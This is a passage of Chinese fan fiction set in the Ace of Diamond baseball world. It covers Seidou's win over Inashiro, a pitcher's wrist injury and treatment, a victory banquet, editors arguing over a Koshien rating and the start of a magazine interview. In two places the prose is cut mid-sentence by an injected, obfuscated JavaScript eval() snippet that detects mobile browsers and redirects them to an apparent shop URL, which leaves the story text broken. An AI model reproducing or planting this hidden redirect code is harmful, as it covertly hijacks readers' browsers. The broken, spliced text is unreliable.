“呯!!”白鸟霍然跟着棒球的白影转头,却见伊佐敷前辈飞速跑到球的落点一个飞扑,在众人注目中将球牢牢抓在手套中高高举起。 “最后一球!最后一球竟然是变速球!稻实的二棒被中坚手伊佐敷选手接杀!” 高桥不可置信地看着那颗被举起的棒球,宫浦也彻底愣住了,他单膝跪在打击准备区,已经没了上场的机会,他望向投手丘,眼中只剩下投手丘上那双冰冷的眼睛。 金色原来是这么冰冷的颜色吗? “哦哦哦哦哦哦哦--” “青道!!!” 观众席,尤其是青道那方的应援席,大喊声几乎要将天空震破。 “我们要进甲子园了?我们要进甲子园了!”经理们一边欢呼一边泪流满面。为了青道的棒球社,她们付出的努力与心血一点都不比队员们少。 “比赛结束!九局下半,青道的王牌白鸟撑住了,他拿出了不可思议的表现,青道的守备也贡献了漂亮的美技!他们拿下了稻实的最后一个打席!” “第34届夏季甲子园西东京地区预选赛,君临120所学校顶点的是--青道高中!” “我们……赢了?”太田部长睁开眼睛,真正到了这一刻,他反而不敢置信。 片冈监督的墨镜里流出了两道泪水,他深吸一口气:“是啊,我们赢了!” 投手丘,白鸟被前辈们团团围住,热烘烘的温度烫的吓人。 “白鸟……”想说的话一时太多,反而不知道该如何表达,东清国那张凶恶的脸满上汗水、泪水在此刻已经无法分辨。 “我们赢了,我们能进甲子园了,对吗?”白鸟像是在做梦一样问道。 小凑抹了下脸:“当然!” 结成用力点头。 伊佐敷死死咬着牙,眼泪在脸上汹涌流淌,即便如此他也咧嘴大笑,手里还死死攥着那颗棒球:“投得漂亮!白鸟!” 村田揉着白鸟的头发,声音哽咽:“白鸟,干得漂亮!” “太好了……”白鸟眨眨眼睛,眼眶通红。害怕的一切都没有发生,他们赢了。 他的目光在人群中梭寻,然后定格在御幸身上。 白鸟下意识露出一个笑容,然后被一个身体牢牢抱进怀里,御幸带着点颤抖的呼吸在耳畔拂过:“我们……赢了。” 捕手的护具硌得难受,白鸟却觉得开心极了,他回抱住御幸,手因为用力止不住得颤抖起来。 “我做到了,呜……嘴里好痛。”白鸟仰头看向依旧一碧如洗的天空,他笑着眼泪却止不住地滚落。 现在他是一个有用的人了吧?是个能够为他喜欢的人们创造价值,赢得胜利的人了吧。 “喂喂喂,当然痛啦!”御幸哭笑不得。 “什么什么??”前辈们顿时慌乱不已。 庆祝过后,到了列队环节。 众人摘下帽子列作一排,哭过后眼眶皆是红红的,但是笑意已经攀上了眼角眉梢,时隔这么多年,他们终于再次踏入了甲子园的大门。 而对面,稻实众人哭得不能自已,大部分都垂着头不愿意被对手看见这么狼狈的自己。 唯有成宫鸣一边大哭,一边死死瞪着白鸟京,清澈的蓝眼睛被泪水浸得透亮,眼里满是不服气,像是在说下一次他一定要复仇! “请多多指教!”随着主裁判挥手,众人皆弯腰鞠躬,防空警报的声音随之响起,比赛正式落下了帷幕。 西东京大会决赛青道VS稻实3:1 优胜:青道高中! 47.伤 白鸟修关闭电视,画面上欢庆热闹的画面戛然而止。 窗帘没有拉紧,一线细光洒在地板上,他默然注视着黑屏电视上自己隐约的影子。 曾经他养过一只鸟,具体是什么品种他已经全然忘记了,只记得那只鸟有一身绚丽的羽毛,似乎是什么名贵的品种。 虽然送活物十分罕见,但他的父亲作为一名较为成功的商人,经常能收到一些华而不实的礼物,这只鸟也只是其中之一罢了。 父亲喜爱这只鸟华丽的羽毛,却并不耐烦亲自照料,保姆也没有饲养鸟类的经验,白鸟修便自告奋勇地应承下这件麻烦事。 原因并非是多喜欢这只鸟。 因为白鸟京的出生,这个家庭的重心似乎有所偏移,新生的第二子夺去了父母大半本该投注在他身上的目光。 他下意识想要将其抢夺回来,无论用什么方法,这只鸟便是他物色的砝码。 他虽然不擅长照料动物,但因为某种强烈的驱动力,还是尽己所能的去查阅资料,精心照料起那只小鸟。 说实话,饲养一只生物的感觉有些让人感到新奇,看它啄食自己添加的食物,看它饮用自己放置的水,看它整日无所事事在笼子里打转……这只幼小的生命所能活着,一切都是因为他的给予。 弟弟这种生物,和这只鸟有什么区别呢?因他人的喂养才能活着,整日在那张小床上打转,他曾经也是如此孱弱的存在吗? 令他印象深刻的是,仅仅一个星期,那只鸟就死去了,僵硬在笼子里。 那身漂亮的羽毛被它自己的排泄物包裹,肮脏到看不清原来的颜色,恶心极了。已经完全看不出那一坨失去生命的东西存在半分还活着时的美丽昂贵。 白鸟修不明白,他已经在这件事上做到了自己能做到的全部,为什么那只鸟还是死了,这下不仅得不到他想要的夸奖,反而可能会得到一顿责骂。 完全得不偿失,可恶…… 可下班回来的父亲只是看了一眼笼子,轻描淡写地吩咐保姆将鸟和鸟笼一起扔掉。 他看着那只鸟被装进黑色的塑料袋里,连同它的肮脏与恶臭一起被丢出了这栋屋子。 那一刻,他明白了,若不是能够创造价值的生物,那种轻薄的喜欢诞生的轻易消失的也轻易。 他不需要做到最好,他只需要比白鸟京更好,更有价值就行了。 *** 精疲力尽的回到学校,迎来的就是得到消息后兴高采烈的校长和其他校领导们。 校长先是和所有先发队员们握手表示感谢,紧接着就像从未给片冈监督下达过最后通牒一般,笑哈哈地揽着片冈监督的肩膀称赞他的能力。 “我给你们准备了庆功宴!等大家修整完后就来参加,都不要客气!” 现场拍摄的合照与属于冠军的旗帜已经被放置进学校的展览室里好好保存了起来。 照片上,队员们一排半蹲,一排站着,所有人脸上都是灿烂的笑容,开关门的微风拂起旗帜灿金的流苏,像是也在为这场胜利庆贺。 虽然为所谓的庆功宴而感到兴奋,但精疲力尽的大家现在只想赶紧回宿舍洗个澡睡个觉,休憩一下。 白鸟更是其中翘楚,他勉强洗完澡后,回到宿舍倒头就睡。 克里斯学长回到宿舍,便见到了宛如昏迷般趴在床上的白鸟,他放轻脚步为白鸟盖上薄毯,看着已经熟睡的后辈,眼眸中满是感慨与心疼。 说到底,还是青道的投手阵太薄弱,遇见真正的强敌,能依靠的竟只有白鸟一个。 如今打入甲子园,就一定要好好考虑投手阵的使用了,甲子园的队伍几乎没有好相与的,他绝不能让白鸟为此耗尽自己。 等白鸟醒过来,宿舍里的窗帘拉的严严实实,黑暗的感觉像是已经到了夜晚。 身体中未散的疲惫让他很想继续睡下去,可想到大家都会参加的庆功宴,白鸟还是爬了起来,身上的毯子随之滑落。 只是简简单单一个起身的动作,身上就一阵泛酸,不过比起集训时还是要好多了,看来比赛更多的累的还是精神上的压力。 突然,一个黑影出声道:“身体怎么样了?” 白鸟一个激灵,但是熟悉的声音让他很快放松下来,忍不住抱怨道:“一也,很吓人啊。” 御幸耸耸肩,打开了桌面的台灯,他单脚在地面滑了一下,让转椅面对白鸟的方向,然后起身坐在白鸟床边,伸手。 “手给我看看。” 白鸟想起棒球场上时的事情,老老实实伸出手:“感觉已经好多了。” “是吗?”御幸挑眉,“那你用力握住我的手试试。” 酸痛的感觉在休息过后就变了纯粹的酸,还有点使不上力气,白鸟试探着握紧御幸的手,然后右手就不受控制的有点发抖。 御幸皱紧了眉头,然后轻轻叹了口气:“监督让我等你醒来,带你去医院检查,礼酱也会一起。” “庆……”刚发出一个音节,白鸟就摇了摇头,他也是知道孰轻孰重的。 “好。” 知道白鸟在担心什么,御幸眼中漫出一点笑意:“放心吧,庆功宴在晚上才开始,如果没问题,我们还是赶得上的。” 白鸟有点不好意思,他只是不想缺席和大家一起的时光。 御幸沉默片刻,准备抽开手,白鸟却反而握紧,御幸下意识停止动作:“你的右手现在最好少使力。” “嗯,我知道。” 虽然有桌上的灯光照明,但是床附近的光线还是有些昏暗,御幸的大半张脸都是背光,让人看不清他的具体神色。 “最后一局,如果不是你的话,我估计坚持不了那么久,很早就会崩溃了吧。”白鸟想起那时沉重的身体都觉得不可思议,他究竟是怎么坚持下来的? 嘴里的伤口因为说话而被牵扯到,阵阵刺痛。 御幸深吸一口气,他没有面对白鸟:“我很抱歉,当时我明知道你已经是极限了,还是没能下定决心和监督说换投。” 换投,无论换谁,他都不觉得能拥有白鸟的压制力。 而且他也有着私心,不仅是想赢下比赛,进入甲子园,还有着若是在那时换投,队伍胜利的那一刻,站在投手丘上接受队友庆贺的就不会是白鸟了。 白鸟轻笑一声:“什么啊,你如果在那时换掉我,我才会和你生气。” “我的身体我自己有数,不会有事的。” “一也,”白鸟倾身凑近,硬是与御幸四目相对,“甲子园,无论是这次还是下次,你都会和我一起去吧?” 御幸一怔,无奈地点头:“当然。” 微妙的喜悦从心底升起,昏暗的室内,白鸟的依赖与亲近如此明显,他总以为他会不喜欢这种亲密,多年自我成长的生活将他磨砺成一个疏于交际的人,比起背负他人的人生,他已经习惯了一个人的自由。 但是,此刻他却觉得也没什么不好,他只是单纯喜欢和他待在一起,而他也正巧并不讨厌。 没有和其他人说,高岛礼接上两人来到了和青道有合作的医院。 医生仔细检查了白鸟的肩膀、手腕,然后点点头:“没什么大问题,就是手腕的肌腱有点发炎,这几天不要再高强度的使用这只手,尤其是投球,反正能不用就不用。每两小时冰敷一下,每次15-20分钟。” 高岛礼松了口气:“大概需要多久的治疗,完全愈合需要多久呢?” “他的情况并不严重,一个星期之内是肯定能好的。治疗的话无需吃药,保持足够的休息,冰敷只要在24小时之内敷2-3次就行了。” “我给他贴个KT胶布,你们看一下贴法,这几天贴一下,能好的更快一些。”医生拿出一卷黑色的胶布,剪下几块贴在白鸟的手腕上。 几人都看得很认真。 “对了,医生,他舌头上咬破了一个口子,顺便开盒维B吧。”御幸提议道。 没想到御幸还记得他赛场上把舌头咬破的事情,现在舌头上的创口已经变成了溃疡般的感觉,隐隐有些发烫。 回学校的路上,白鸟抬起胳膊看了看手腕上的黑色胶布:“看着还挺帅。” 御幸有些黑线:“你这家伙,真是完全不担心啊。” “放心吧,我知道我身体的极限在哪里,不会逞强的。”白鸟笑眯眯的,他现在很开心,赢下比赛的喜悦在睡醒后更加浓郁。 世界仿佛变得更加清晰真实,与三年级的前辈们一起打棒球的时间又延长了。 真好啊。 高岛礼笑着听着后面两人的聊天,既然没有大问题,她也能放松下来了。 回到学校后,高岛礼推推眼镜:“我去和片冈监督说一下白鸟的情况,你们就回青心寮吧。” “一定要记住多休息啊,白鸟同学。”高岛礼温柔地对着白鸟嘱咐道,她平时秀丽但难掩锋锐的眉眼此时相当温和。 白鸟笑着点点头:“我一定会的,高岛老师。” 高岛礼的视线转到御幸身上,还不等她说什么,御幸就摸着后脑勺道:“礼酱放心吧,我会监督他的。” “你什么时候能不叫我礼酱了。”高岛礼无奈地叹了口气。 等高岛礼离开,白鸟和御幸在回青心寮的路上,白鸟有些好奇地问道:“对啊,你为什么会喊高岛老师,小礼?” 御幸作回忆状:“嘛~因为很久之前,我还在少棒的时候,就和礼酱认识了,那时候起,她就很看好我做捕手,说要邀请我来青道。” “一开始是出于恶作剧,但是想想这样喊比较亲近,就一直这么喊过来了。” 白鸟点头:“很有你的风格。” “是吗?我的风格是什么?”御幸眯着眼睛,一副怀疑的样子。 “哈哈。”白鸟干笑两声。 “你俩去哪了?”仓持的宿舍门开着,他似乎一直在观察进入宿舍的人,一看见两人就立刻窜了出来。 这件事没必要隐瞒也隐瞒不了,白鸟就把去医院检查的事情和仓持简单说了一下。 仓持松了口气:“其实我就是担心这件事,你比赛结束顺包的时候手抖,我看见了,正想着要怎么劝你去医院检查一下呢,没出事就好。” 知道亲近的朋友没事之后,他终于能放下心中的担忧,咧嘴笑了起来,眼中满是喜悦与期待:“投得漂亮!我们能去甲子园了!” *** 庆功宴上,有很多平时看不见的学校领导,还有联系的一些记者。 青道夺冠后,有许多记者找到棒球社想要对此采访一番,片冈监督想到即将毕业的三年级若是想要进入职棒,此时正是宣传的时机,便也没有拒绝。 不过庆功宴中的采访还是算了,还是让学生们自由的享受休憩的时光吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768851|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 为了贴合所有人的口味,宴席是自助的形式,什么贵价海鲜、神户牛肉、新鲜水果各种各样的食材应有尽有。 “嘶溜,看上去真好吃啊……”仓持看着菜品两眼放光。 三人组跟着摆盘一路走着,遇到想要的就夹一点,满载而归回了桌。 大家兴奋的准备甩开肚子吃了一顿。 平时为了健康饮食,零食都是能少吃就少吃,偶尔解个嘴馋。 白鸟用左手拿叉子、勺子吃东西,也不觉得不方便,但是棒球社的大家知道他右手暂时不能使劲后,纷纷母爱泛滥。 “白鸟,啊——”东清国一张脸笑的“和蔼”,拿着插着的一块牛肉递到白鸟嘴边。 白鸟嘴角抽搐:“东前辈,肉有点太大块了。” “那就来吃这个吧。”村田饶有兴致地凑热闹,戳过来一块西瓜。 小凑笑眯眯地叉着块个虾仁送到白鸟嘴边。 结成脑后灵光一闪,认真切了块小点的牛肉。 “哈!这种时候要吃这个!”伊佐敷端来中华美食排骨玉米汤。 白鸟被前辈们包围,不知所措。 “哎呀,有时候太受欢迎也不是什么好事,对吧?”御幸看戏看得很开心。 仓持:“呵呵。” 总之,这次庆功宴他们吃的很满足,不过大家都还挺有自制力的,那些容易发胖的东西都只是浅尝辄止。 白鸟真是差点吃撑了,洗完澡后依旧觉得胃里涨涨的,还好大家没有递刺激性的食物,嘴里的伤口在咀嚼时虽然痛,但并非不能忍受。 “这份喜爱,还真是难以消化……” 御幸拿着冰敷的东西跟着他进了宿舍,看见克里斯学长也在,他有些惊讶:“克里斯前辈你没有和伊佐敷前辈他们一起去聚会吗?” 结束庆功宴,几个学长一起去仓持宿舍玩电玩去了。 克里斯温柔地笑笑:“我可不想被结成抓住下棋。” “我来吧,御幸你今天也辛苦了,早点回去休息一下吧。”他伸手想接过御幸手上的冰敷用具,御幸却一个躲闪。 “啊哈哈哈,没事啦克里斯前辈,弄完我还要给他贴胶带,索性就一起来吧。” 克里斯点点头:“这是第二次冰敷是吧?” “是的。”白鸟摸了下右手腕,说实话此刻他已经几乎感受不到什么酸软了。 克里斯思考了一下:“第三次要间隔2小时的话,御幸你今天晚上就在这里睡吧,省下了来回跑的时间。” “哎?”御幸一愣。 白鸟眼睛一亮,期待地看着御幸。 御幸轻咳一声:“好吧,那我就恭敬不如从命了。” 克里斯重回书桌前开始看书,御幸和白鸟在床边坐下。 “其实我可以自己冰敷的,只有贴胶布有点不方便,要不然你先睡会儿等到时间我喊你。”白鸟看御幸从冰桶里捞出一条带子。 御幸没说话,只是伸出手,白鸟就乖乖把自己的手递了过来 有点想笑,御幸不知为何幻视了一只会握手的狗狗,如果狗塑一下白鸟,应该会是萨摩耶吧。 他将冰带仔细缠上白鸟的手腕。 白鸟的手皮肤莹白骨节分明,若是没有那些因为棒球而磨损的茧子,一定会是一双完美的手,可也正因为那些茧子,御幸感受到了一种无言的连接,他们对棒球的爱,都是一样的。 “平时我蹲捕完一场还能熬夜看个记分册呢。”御幸慢斯条理地说出了讨人厌的话。 白鸟:“……” 白鸟看了一眼克里斯的背影,咬牙切齿地低声道:“到底是谁早上起不来还得我去喊你,还好东前辈和楠木前辈没说什么。” 御幸腾出一只手在嘴边做了个拉拉链的动作。 克里斯无声地叹了口气,如今投手阵除白鸟外的三个投手,除了柴崎学长之外,其他两个都各有明显缺陷。 水谷学长的球质太过普通,体力在夏季连白鸟都比不过,丹波的直球控球和心态起伏巨大。这两者在面对强队时能发挥的用处实在有限,就算有捕手的优秀配球,可若投手无法投进手套,那也是毫无用处。 只有柴崎前辈 克里斯想起今天监督找他说完有关白鸟的事情后,又说了一些关于一军投手阵人员的更改决定。 若是想要在甲子园走的更远一点,这种改变也算是意料之外,情理之中。 为了备战甲子园,这件事肯定会尽早宣布,也许就是明天。 是夜,时间已经来到了22:30左右,冰敷的治疗流程终于结束,御幸开始剪胶带给白鸟的手腕贴上。 “谢谢,辛苦了女房役。”白鸟调侃道。 御幸无语地瞥了白鸟一眼:“要我喊你一声旦那吗?” 白鸟耸肩:“你这不是已经喊了吗?” “时间不早了,快休息吧,我来帮你把床铺一下。”白鸟推推御幸的肩膀。 他们宿舍常备干净的四件套,有时不止御幸他们,结成前辈也会在这里留宿。 “我自己来就行了,你才是快点睡吧,也不知道下午睡眼惺忪起的家伙究竟是谁。”御幸把白鸟按在床上没让他起身。 他把床边的记分册收走,放在白鸟桌上,和克里斯前辈打了个招呼,便开始铺床。 “那我也睡吧。”克里斯合上书。 48.媒体 早上白鸟睁开双眼,已经养成习惯的他有时在闹钟响起之前就能起床。 7月中旬西东京预选赛已经结束,而夏季甲子园的日程则是从8月6日开始,他们还有半个月的时间用于备战夏甲。 青道高中的学生们除了一些体育社团,皆已因为暑假而离开了校园,熟悉的校园变得空空荡荡。 棒球社当然是没有暑假的。 而没了上午下午的课程安排,社团的训练时间自然增多了。 不过青道也没有如此迫切的让球员们投入进训练,而是给了充足的时间让他们休息,以恢复预选赛后的疲惫。 两天后,青道棒球社才渐渐恢复往日的训练强度。 白鸟一大早就准备把御幸一起拉起来,贯彻之前说的要早晚一起跑步锻炼体力。 虽然医生禁止他投球,但是跑步还是没问题的,正好将原本用于投球训练的时间,都用来做体能训练。 说起来,东前辈和楠木前辈起的也很早,他去到御幸的宿舍时,两人基本上也已经起床了,白鸟从不贸然打扰其他人的休息,因此拜访的时间点很适宜。 他也不觉得御幸早上起不来是件不好、不正确的事情,因为那家伙几乎比所有人都睡得更晚。 室内昏暗,房间里很整洁,属于御幸的那边堆了很多与棒球有关的书,深色的四件套中支棱出一点深褐的毛茸茸。 白鸟俯身轻轻推了推御幸肩膀的位置。 “一也。” “唔……”模糊不清的声音从被子里传来,被子蠕动了几下又平息下去。 感到有点想笑,白鸟用手指碰了碰那露出来的耳朵:“一也,起床了。” 一只手伸出被子抓住白鸟的手指,手的主人慢吞吞转过身,蓬乱的头发和惺忪睡眼,那张平时凌厉帅气的脸上难得显露出柔软的一面,御幸眼神有些不聚焦地望着白鸟。 “京,早上好。” “早上好。”白鸟笑眯眯地抽回手指。 御幸坐起身,一边摸到眼镜戴上一边打呵欠:“右手感觉怎么样了?” “你怎么一醒就操心这个,我感觉已经完全恢复正常了,只是尚且还在遵循医嘱没有进行投球和手臂的训练。”白鸟有些无奈,这几天知道他手腕肌腱发炎的人都盯他盯的很紧,一旦他出现在各种训练场合,就会被明里暗里“监视”着。 “胶布呢?”御幸站起身捞过白鸟的右臂看了一眼,见黑色的胶布以正确的方式缠在手腕上,才绕过白鸟脱下睡觉穿的T恤。 跟着离开床边,白鸟坐在椅子上等待:“克里斯前辈帮我贴的,你就放心吧。” 御幸背对着白鸟光着上半身举起手臂伸了个懒腰,修长的身躯与四肢,宽肩窄腰,昏暗的室内,从门而入的光晕打在因为艰苦又自律的训练生活诞生出的肌肉上,沟壑分明。 是克里斯前辈的话,就不用担心了。随手套上一件黑T,御幸整理了一下洗漱用品。 少年的身躯已经逐渐向着成熟发展,但未褪的青涩依旧让他在穿上衣服后显得单薄。 白鸟眨眨眼,比起刚开学的时候御幸确实结实了很多,他自己也是一样,青道的训练能坚持下来的几乎人人都有一身漂亮的肌肉。 之所以说几乎,那不是还有东前辈和增子前辈吗? 提前起床训练的不仅是他们,其他人也相当卖力,因为青道虽几年都没能进入甲子园了,但夏甲一个高中允许的报名人数只有18人,大家还是知道的。 9名首发球员+9名替补球员 都已经得到了甲子园的入场券,谁也不想现在被刷下来,哪怕当个替补也是好的。 所以教练们担心的,队员们因为得到了预选赛的优胜而懈怠的事情,完全没有发生。 “给,水。”白鸟将杯子递给御幸。 看见御幸怀疑的眼神,他嘴角抽了抽,没好气地说:“放心吧,只是单纯的水。” 见御幸这才打开盖子喝了起来,白鸟忍不住道:“我也是有进步的好吗?现在已经能泡出正常的蜂蜜柠檬水了,而且还挺好喝的!” 仓持接过白鸟递过来的另一杯水,闻言点点头:“没错,我可以证明。” 御幸眯起眼睛:“什么意思,你俩背着我偷偷干啥了?” “也没有偷偷啊。”白鸟呵呵,“那不是你每次看见我泡的东西都一副看见炸弹的样子吗?” “那也是因为第一次喝到的东西冲击力太大了啊!”御幸不服,他的眼神落在仓持的水杯上,“难道说……” 一看就知他在想什么,仓持露出个嚣张的笑容打开水杯喝了一口,然后咋么咋么嘴:“真好喝啊,可惜某人享受不到喽。” 御幸可不会作死去抢仓持的水杯,要知道,仓持一手格斗技已经让他吃尽了苦头,他选择去抢白鸟的水杯。 白鸟并没有制止的意思,只是一脸黑线的看着御幸拿着他的水杯打开谨慎地抿了一口。 “唉?”御幸一开始还以为仓持和白鸟在骗他,结果东西入口味道真的不错。 其实泡蜂蜜柠檬水看上去简单,但也是挺有一番讲究的。从柠檬的选择到比例的分配,要么太酸要么太甜,要么太淡要么太浓,不能喝与能喝,能喝和好喝之间也是有距离的。 白鸟瞧着御幸的反应轻轻哼了一声。 “确实不错,不过以后还是少做吧,你的手可别在切柠檬的时候伤到了,而且你嘴里的伤还没好吧,现在喝柠檬水你也不怕疼。”御幸放下水杯提出意见。 仓持无语地看着御幸:“现在是说这个的时候吗?难怪你有一张好脸却人缘这么差,不需要的话,要不直接把颜值给我吧。” 御幸假笑:“我才不要。” “放心吧,我只是想证明我要是想也是能做好的,至于柠檬片那是买的切好的现成品。”白鸟伸手从包里又拿出一杯水,表示这个才是他今天要喝的。 仓持扶额:“京你也是,太惯着他了吧。” 白鸟歪歪头:“有吗?” 简单的闲聊了几句,大家便又开始训练了,无法使用右手的他,无论是守备训练还是打击训练都无法参加,看着大家都在努力,难免有些心焦,还好医生说一个星期之内肯定能好。 白鸟收回视线,重新开始跑步。 日子进入7月中旬之后,白日的蝉鸣声愈发响亮,伴随着高温天气与刺目的阳光,盛夏的到来让属于室外运动的棒球又迎来了另一个问题。 “虽然我本身就挺黑的,但是现在黑成这幅样子也着实有点……”加藤结束完一波训练,站在树荫在看着自己的胳膊,有些忧伤地撇撇嘴。 结成呆呆道:“加藤学长很有男子气概。” “是吗?”加藤泪流满面,但是我想要的不是被同性称赞,而是在异性中受欢迎啊! 就像白鸟那样,凭什么那小子晒了这么久还是那么白! 正好学校放暑假,白鸟索性就绕着学校跑步,然后刚好碰上了往棒球场走的片冈监督。 “监督。”白鸟停下脚步。 片冈监督点点头:“白鸟,正好我有事和你说,今天下午3点有「棒球王国」的记者要来采访。” “记得做一下准备。” 白鸟一怔:“是。” 待片冈监督走后,白鸟思索了片刻,把上午计划跑完的公里跑完,返回了棒球场。 接近中午午餐时间,场上热火朝天的氛围渐渐变淡,集体的守备训练结束,变成了专项的个人练习。仓持在练习冲刺、短跑、滑垒,而御幸则在做打击训练。 半开放式的打击区有5个移动式打击笼,有二军、三军的球员帮忙喂球,现在5个打击都被使用着,击球声不绝于耳。青道的室内练习场里还有配备发球机的打击区,那里的情况估计也是一样的,甚至更加繁忙。 白鸟不由得有些手痒,他在决赛时的击球率很差劲,虽然那时大家都安慰他是因为体力问题无法做到兼顾,但是监督把他安排在6棒显然是对他的打击有所期待的。 投打兼顾说起来离谱,但也不是没人做到过,为什么不能是他呢? 等待的时间里,白鸟从包里掏出一块平板,甲子园参战学校几乎都已明了,趁现在看看那几个学校的情报也不错。 果然,那些棒球报纸,尤其是地区报纸都已经及时刊登了一些对那些学校的参访记录。 朝日新闻的电子版里居然还有青道高中的一张大照片,是拍摄于他们和稻城实业的决赛结束后,大家一起簇拥在投手丘上的照片,配文--「没落的豪强!时隔4年的夏甲入场券!」 看着这张照片,白鸟唇角勾起温柔的弧度,他直接将其截屏保存到了相册里。 看见大家开心到落泪的样子,他也是后怕不已,如果那时输了……他摇摇头打断自己无意义的假设。虽然都哭的乱七八糟,但来日也一定会是美好的回忆。 其他比较热门的有大阪的清正社、神奈川的横滨、爱知的西邦、西东京的帝东、群马的白龙等。 本来西东京的稻城实业也是此次夏甲的大热门,没想到却惜败于青道高中。青道如今的热度飙升,也难怪会迎来「棒球王国」这属于高野棒球的热门杂志的采访。 等甲子园的日期更加接近,还有热斗甲子园的专访等待着他们呢。 这么一想,还有点期待。 毕竟,哪个棒球少年没看过这档高野的著名节目呢? “喂!你好像很悠闲啊!”一个热乎乎的身体挤了过来。 仓持没有立刻坐下,他靠在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776821|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白鸟身上一手搭住白鸟的肩膀弯下腰:“这什么?清正社?” “嗯。”白鸟点开那个报道,“今年大阪出线的队伍果然还是清正社,他们的王牌投手是二年级的柚木泽界人。” 仓持挠挠脑袋:“以前的豪门都是三年级王牌吧,现在不是一年级就是二年级,天才都这么多吗?” 他这是联想到了白鸟和成宫鸣。 旁观了整场决赛的他对成宫鸣忌惮非常,以仓持的眼光来看,在稻实三年级的王牌毕业后,下一任王牌必然是成宫鸣。 现在就已经如此棘手的家伙,再过半年,也不知道会成长成什么样子。 青道进入甲子园之路最大的障碍,大概就是拥有成宫鸣的稻城实业。 白鸟眉眼弯弯抬首看向仓持:“那我呢?” “你是最大的那个变态。”仓持没好气的说道。 “那不是正好。”白鸟耸耸肩,点开白龙的页面。 仓持挑眉:“还真是。” 最大的变态在他们青道,安全感爆棚啊。 “过几天等49所甲子园参赛队伍都选拔完成,媒体的等级评判也要出来了吧?”仓持跟着白鸟阅览这些老牌强校今年的阵容。 这也是甲子园赛事里不得不品鉴的一环。媒体会根据各个队伍的夺冠可能分为S-C级,评级的参考因素有很多,比如近5年的甲子园表现、地区赛的表现、球队阵容等等。 这个虽然不是官方评级,但大家早已将其也纳入了正经的参考里。 相对来说这些条件对青道高中有些不利,毕竟他们有4年没进甲子园了,而且队伍里1年级的比例也高。 很多人觉得就算在地区塞表现亮眼,在甲子园究竟能打成什么样子也难说,毕竟夏甲的竞争激烈程度、紧凑赛程首屈一指。 打线强度、投手阵厚度、监督的战术安排、能够让人安心的王牌投手……和坚强不屈宛如火焰与钢铁般的意志力。 能够在甲子园留下熠熠星光的队伍,大多都兼备这些。 某家报纸的办公室中,编辑们激烈讨论着。 “该给青道高中一个什么样的评级呢?” “我觉得就凭他们能3:1打败稻城实业,A级差不多吧。” “我觉得高了,青道这一届的球员们没有一个进过甲子园的,还不知道能不能适应甲子园的赛程呢,那些地区赛发挥不错,但是因为不适应甲子园发挥失常的难道还少了?” “没错,而且青道这支队伍里的防守核心竟然是一对一年级的投捕,我承认他们潜力很强、未来可期,但是年龄的劣势也就意味着体力、经验的差距,在和稻实的比赛里已经体现的很明显的。” “但是以青道和稻实的决赛来看,他们的实力也已经明显达到了四强队的实力,一个A级我认为并不算高。” “其实以吸引眼球的看点来说,我们不如给青道一个S级评价,毕竟可是所谓的‘王者归来’,无论他们最后走到哪里,都有话题度,造势造的大一点,也有助于订阅率,就算一轮游也有爆点。” “你这点子太毒了,别把这种小心思放在高野里,我们不缺这点订阅率。” “我倒是认为青道确实有S级的潜力,打者他们有东清国、结成哲也,捕手里有克里斯、御幸一也,投手里白鸟京虽然年纪小,但是从稻实赛中能看出他很有韧性,甲子园的投手很少有球速超过150KM/H的,光是适应,就需要耗费他们很长时间。” “三年级的柴崎虽然压制力不够,但是稳定,担任中继给王牌提供休息的时间,其余几个投手看情况上场。只要安排好投手阵,青道不是没有获胜的希望。” “你说的这个情况太理想化了,而且青道原先的正捕手克里斯不是受伤了吗?夏甲预选赛他可是一场都没上。” “没错,但是我们又不知道他伤势怎么样,万一夏甲能够出场呢?而且他最有名的是对打者的分析能力和配球能力,这些就算他不上场也能提供支援。” “你这就有点,不上场的球员怎么能作为评判实力的标准,我不认同。” “没错,你这也太想当然了,我甚至认为青道四强都危险,B级差不多,你看看决赛时他们的监督给了多少战术支援吗?差不多算是队员们自己撑下来的,片冈监督还是太年轻了,而甲子园里常胜的那几支队伍里的监督,哪个不是老狐狸?” “一年级的速球手王牌,除非他肩膀不想要了,否则我不认为青道有冠军的希望。” “实力、战术、意志力,想要得胜缺一不可,青道的实力不稳定,战术匮乏,意志力倒是不错,但是比赛光靠意志也是走不远的。” 编辑们激烈的争吵着,看来青道高中的异军突起确实给他们提供了不小的评分难度。 49.安全感 “需要我把球员们召集起来吗?”片冈监督看着身边「棒球王国」的记者峰富士夫问道。 峰富士夫摇摇头,小胡子翘了翘:“不用了,我拍几张照片就可以了。那么就按照我们之前电话联系的那样,我之后会做个东君、白鸟君、御幸君的专访。” 片冈监督:“嗯,我已经和他们都说过了。” 几人将被专访的事情被大家知道后皆是一阵调侃,当然也有羡慕,毕竟那可是《棒球王国》。 说实话体验挺新奇的。 东清国是单独采访,而白鸟和御幸则是作为投捕搭档一起。 对于球队的队长东清国来说,接受采访并不是什么稀奇的事情,他也不是第一次登上《棒球王国》的内页,但每一次对他而言都是外界的一种肯定,他绝不会感到腻烦。 整洁明亮的待客室内,白鸟和御幸有些局促地站在那里,对面的峰富士夫客套了几句,他有着一张圆圆的亲切的脸,搭配娴熟的话术,轻易就能拉近距离让人放松下来。 